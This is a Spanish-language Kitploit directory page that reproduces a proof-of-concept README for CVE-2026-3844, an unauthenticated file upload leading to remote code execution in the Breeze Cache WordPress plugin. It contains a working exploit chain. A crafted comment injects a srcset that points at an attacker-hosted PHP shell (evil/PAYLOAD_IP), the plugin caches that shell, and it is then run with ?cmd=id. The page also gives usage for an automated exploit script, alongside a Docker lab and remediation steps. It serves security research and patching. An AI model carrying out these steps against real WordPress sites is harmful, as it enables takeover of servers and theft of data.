Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-3844 — Prueba de concepto del exploit para CVE-2026-3844, una subida de archivos arbitraria sin autenticación que conduce a la ejecución remota de código en Breeze Cache <= 2.4.4. Incluye laboratorio Docker y script de exploit automatizado. | Kitploit
Herramientas/GitHubGitHub/dinosn/cve-2026-3844
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubdinosn/cve-2026-3844

CVE-2026-3844

Prueba de concepto del exploit para CVE-2026-3844, una subida de archivos arbitraria sin autenticación que conduce a la ejecución remota de código en Breeze Cache <= 2.4.4. Incluye laboratorio Docker y script de exploit automatizado.

Ver Repositorio
51hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-3844 — Breeze Cache <= 2.4.4 Subida Arbitraria de Archivos No Autenticada a RCE

Resumen

CampoValor
CVECVE-2026-3844
CVSS9.8 Crítico (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — Subida Sin Restricciones de Archivos con Tipo Peligroso
PluginBreeze Cache de Cloudways
AfectadoTodas las versiones hasta la 2.4.4 inclusive
Corregido2.4.5 (changeset 3511463)
InstalacionesMás de 400.000 instalaciones activas de WordPress
Descubierto porHung Nguyen (bashu)
Divulgado2026-04-23

Vulnerabilidad

La función fetch_gravatar_from_remote() en inc/class-breeze-cache-cronjobs.php descarga URLs remotas y las guarda en un directorio accesible desde la web usando el nombre de archivo y la extensión originales de la URL. No hay validación de tipo MIME, no hay lista blanca de extensiones y no hay inspección de contenido.

Cuando la opción "Host Files Locally - Gravatars" está habilitada, el plugin se engancha al filtro get_avatar de WordPress mediante breeze_replace_gravatar_image(). Esta función usa una regex para extraer URLs de los atributos srcset y src en el HTML del avatar. Un atacante puede inyectar un atributo srcset malicioso publicando un comentario con un nombre de autor manipulado, haciendo que el plugin descargue y almacene en caché un archivo PHP arbitrario.

Código Vulnerable

Código vulnerable en fetch_gravatar_from_remote()

Lo que falta:

  • No se verifica que el contenido descargado sea una imagen (validación MIME)
  • No hay restricción de extensiones de archivo (.php, .phtml, .phar son aceptadas)
  • No hay inspección del tipo de contenido de la respuesta HTTP
  • El directorio de destino es accesible desde la web y permite la ejecución de PHP

Flujo del Ataque

root@kitploit:~
Atacante                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Comentario guardado
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  El filtro get_avatar se activa
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    extrae la URL srcset mediante regex
   |                                        |    llama a fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         Contenido del archivo PHP      |
   |         -----------------------------> |
   |                                        |  Guardado en:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP se ejecuta como www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

Precondiciones

  1. La versión del plugin Breeze <= 2.4.4 debe estar instalada y activa
  2. "Host Files Locally - Gravatars" debe estar habilitada (desactivada por defecto, en Ajustes > Breeze > Avanzado)
  3. Los comentarios de WordPress deben estar abiertos en al menos una entrada
  4. El servidor de carga útil del atacante debe ser accesible desde el servidor WordPress

Configuración del Laboratorio Docker

Este PoC incluye un entorno Docker autónomo con:

  • WordPress 6.5 + Breeze 2.4.4 (vulnerable, con alojamiento de gravatars habilitado)
  • MariaDB 10.11
  • Un servidor HTTP Python que aloja la carga útil del PoC

Requisitos Previos

  • Docker y Docker Compose
  • Python 3.8+ con requests (pip install requests)

1. Iniciar el Laboratorio

root@kitploit:~
cd docker/
docker compose up -d --build

Espere ~30 segundos para que WordPress se inicialice. Verifique:

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Esperado: Stable tag: 2.4.4

2. Verificar Precondiciones

Versión de Breeze 2.4.4 confirmada

Comentarios abiertos, alojamiento de gravatars habilitado

La configuración de Docker automáticamente:

  • Habilita "Host Files Locally - Gravatars" (breeze-store-gravatars-locally: 1)
  • Abre los comentarios en las entradas
  • Desactiva la moderación de comentarios (para explotación inmediata)

Explotación

Pasos Manuales

Paso 1 — Publicar el Comentario Malicioso

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

Reemplace PAYLOAD_IP con la IP del contenedor de carga útil:

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

Respuesta esperada: redirección HTTP 302 a la página de la entrada.

Publicación del comentario malicioso

Paso 2 — Activar el Renderizado del Avatar

Visite la página de la entrada para que WordPress renderice el avatar del comentario, lo que activa el filtro get_avatar de Breeze y descarga la carga útil:

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

El HTML renderizado muestra que Breeze extrajo el srcset inyectado y almacenó en caché la carga útil:

El renderizado del avatar activa la descarga de la carga útil

Paso 3 — Verificar el Archivo en Disco

La carga útil PHP se escribe literalmente, propiedad de www-data:

shell.php en disco propiedad de www-data

Paso 4 — Confirmar RCE

RCE confirmado — id, whoami, uname, /etc/passwd

Script de Explotación Automatizado

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Salida del script de explotación automatizado

Opciones del Script

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      URL objetivo de WordPress (obligatorio)
  -p, --payload     URL de la carga útil PHP a subir
  --post-id         ID específico de la entrada para comentar
  --timeout         Tiempo de espera HTTP en segundos (por defecto: 15)
  --wait            Segundos de espera para el cron (por defecto: 12)
  --check-only      Solo verificar la versión del plugin, sin explotar

Desmontaje

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

Remediación

  1. Actualice Breeze a la versión 2.4.5 o posterior
  2. Solución alternativa (si no puede aplicar el parche): Desactive "Host Files Locally - Gravatars" en los ajustes de Breeze
  3. Endurecimiento: Añada a .htaccess en wp-content/cache/breeze-extra/gravatars/:
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

Estructura de Archivos

root@kitploit:~
cve-2026-3844/
  README.md              # Este archivo
  docker/
    Dockerfile           # Imagen WordPress + Breeze 2.4.4
    docker-compose.yml   # Laboratorio completo (WP + MariaDB + servidor de carga útil)
    entrypoint-custom.sh # Auto-configura WP con ajustes vulnerables
  poc/
    exploit.py           # Script de explotación PoC automatizado
    validate.sh          # Marco de validación Docker de extremo a extremo
  payloads/
    shell.php            # Carga útil PoC inofensiva (echo + id)
  screenshots/           # Capturas de terminal SVG (Charm freeze)
  validation/            # Salida de validación de explotabilidad RAPTOR

Referencias

  • NVD — CVE-2026-3844
  • Aviso de Wordfence
  • Changeset 3511463 del Parche de WordPress
  • Código Fuente Vulnerable (etiqueta 2.4.1)

Aviso Legal

Esta prueba de concepto se proporciona únicamente para pruebas de seguridad autorizadas, educación e investigación defensiva. El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de prueba es ilegal.

Descargar herramienta